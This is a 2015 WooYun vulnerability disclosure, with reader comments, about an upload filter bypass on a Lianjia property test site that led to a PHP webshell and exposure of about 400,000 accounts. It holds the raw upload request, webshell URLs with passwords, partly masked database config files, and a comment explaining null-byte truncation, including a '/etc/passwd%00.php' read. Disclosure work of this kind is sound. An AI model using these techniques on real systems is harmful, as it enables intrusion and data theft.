当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0125012

漏洞标题：链家地产某站点上传过滤不严格导致Getshell约40万账号泄露

相关厂商：homelink.com.cn

漏洞作者： 默之

提交时间：2015-07-07 09:11

修复时间：2015-07-08 17:39

公开时间：2015-07-08 17:39

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-07： 细节已通知厂商并且等待厂商处理中
2015-07-08： 厂商已经确认，细节仅向厂商公开
2015-07-08： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

链家地产某站点上传过滤不严格导致Getshell+约40万账号泄露

详细说明：

站点：http://www.fang360.com
在http://test.fang360.com
证明一下是你们的网站，联系邮箱什么的是链家的邮箱

lj1.png


注册一个账号，然后再账号设置中，对头像进行修改
http://test.fang360.com/index.php?app=user&ac=set&ts=face

lj2.png


然后抓包，最后00阶段就可以上传php文件了

POST /index.php?app=user&ac=do&ts=setface HTTP/1.1
Host: test.fang360.com
Proxy-Connection: keep-alive
Content-Length: 217
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://test.fang360.com
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 LBBROWSER
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4M6hxmPAjXV0Qbki
Referer: http://test.fang360.com/index.php?app=user&ac=set&ts=face
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=nrf41978q7n7p1jlgq845a1su3; __utmt=1; CNZZDATA30047478=cnzz_eid%3D430962145-1436167254-http%253A%252F%252F210.51.167.94%252F%26ntime%3D1436167254; __utma=230179737.1765253530.1436167363.1436167363.1436167363.1; __utmb=230179737.18.10.1436167363; __utmc=230179737; __utmz=230179737.1436167363.1.1.utmcsr=210.51.167.94|utmccn=(referral)|utmcmd=referral|utmcct=/index.php
------WebKitFormBoundary4M6hxmPAjXV0Qbki
Content-Disposition: form-data; name="picfile"; filename="web.php


之后找到头像，复制头像地址就是php一句话的地址了
http://test.fang360.com/cache/user/0/0/48/e3b45ae09c_48_48.php密码：pass

lj3.png


看来已经被前人来过了。。。
http://test.fang360.com/cache/user/0/0/48/40676d5140_48_48.php 密码：pwd

lj4.png


这利还有一个深藏的

lj5.png


#2 数据库
/home/fang360/api/uc_config.php，共计39万的会员信息

<?php
define('UC_CONNECT', ' ');
define('UC_DBHOST', 'localhost');
define('UC_DBUSER', '***');
define('UC_DBPW', '***el***');
define('UC_DBNAME', 'bbs');
define('UC_DBCHARSET', 'utf8');
define('UC_DBTABLEPRE', '`bbs`.pre_ucenter_');
define('UC_DBCONNECT', '0');
define('UC_KEY', '*******');
define('UC_API', 'http://test.fang360.com/bbs/uc_server');
define('UC_CHARSET', 'utf-8');
define('UC_IP', '');
define('UC_APPID', '3');
define('UC_PPP', '20');


lj6.png


/home/fang360/data/config.inc.php，数百名账号密码泄露

$TS_DB['sql']='0';
	$TS_DB['host']='localhost';
	$TS_DB['user']='*******';
	$TS_DB['pwd']='**m*****';
	$TS_DB['name']='*******';
	$TS_DB['pre']='le_';
	define('dbprefix','le_');


lj7.png

漏洞证明：

此处着重证明一下这是链家的站点
/home/fang360/app/weibo/config_v2.php

<?php
$_publish_url='http://127.0.0.1:80/index.php?app=NetGet';
/**
 * 如果要增加或者修改请遵照一下格式,请注意必须是加V用户
 * array('1' => '{"id":xxxxx, "name":"zuohui"}'),
 */
$_qs = array(
	array('4' => '{"id":1794759982,"name":"左晖"}'),
	array('4' => '{"id":1738713232,"name":"链家林倩"}'),
	array('4' => '{"id":1883886237,"name":"链家祁世钊"}'),
	array('4' => '{"id":1940176510,"name":"成都链家张海明"}'),
	array('4' => '{"id":1904274393,"name":"上海链家宋春辉"}'),
	array('4' => '{"id":1883875283,"name":"链家李岩峰"}'),
	array('4' => '{"id":2188488543,"name":"链家刘勇"}'),
	array('4' => '{"id":1893873097,"name":"南京链家黄月平"}')
);


不可以的话还有
首页微博http://weibo.com/1911224075/跳转到http://weibo.com/bjhomelink

lj8.png

修复方案：

过滤吧，装个杀马的，最起码过滤那么一点点

版权声明：转载请注明来源 默之@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-07-08 11:31

厂商回复：

确认，谢谢。

最新状态：

2015-07-08：已经修复

漏洞评价：

评论

  1. 2015-07-08 17:46 | 牛 小 帅 ( 普通白帽子 | Rank:363 漏洞数:84 | [code]心若没有栖息的地方，走到哪里都是在...)

    涨姿势了

  2. 2015-07-09 08:43 | 幻老头儿 ( 普通白帽子 | Rank:133 漏洞数:30 | 新手上路。)

    最后00截断怎么做？菜鸟求解

  3. 2015-07-09 14:55 | 默之 ( 普通白帽子 | Rank:334 漏洞数:67 | 沉淀。)

    @幻老头儿 在burpsuit里改包，php .jpg（php与.之间有个空格），然后hex处找到代表空格的20，改成00就行了。网上一大堆呢

  4. 2015-07-09 15:45 | 幻老头儿 ( 普通白帽子 | Rank:133 漏洞数:30 | 新手上路。)

    @默之 只对win其作用吧？如果是linux，对00也是有用？

  5. 2015-07-09 16:16 | 默之 ( 普通白帽子 | Rank:334 漏洞数:67 | 沉淀。)

    @幻老头儿 貌似是的。。。我这个有点问题，谢谢提醒了，还是需要多学习啊

  6. 2015-07-09 16:21 | 幻老头儿 ( 普通白帽子 | Rank:133 漏洞数:30 | 新手上路。)

    @默之 哈哈，你是大神，

  7. 2015-07-09 16:31 | 默之 ( 普通白帽子 | Rank:334 漏洞数:67 | 沉淀。)

    @幻老头儿 过奖了，我是真正的菜啊！哈哈

  8. 2015-07-11 08:22 | 默之 ( 普通白帽子 | Rank:334 漏洞数:67 | 沉淀。)

    @幻老头儿 我查了一下，Linux也可以截断的，很多时候的文件遍历都会用到/etc/passwd%00.php来读取。你可以看看lijiejie的一些关于这方面的例子

  9. 2015-07-15 23:37 | Arthur ( 实习白帽子 | Rank:77 漏洞数:33 | USA，I am coming！！！！！)

    @默之 真？Linux可以？还从来没研究过这一块。win倒是验证了。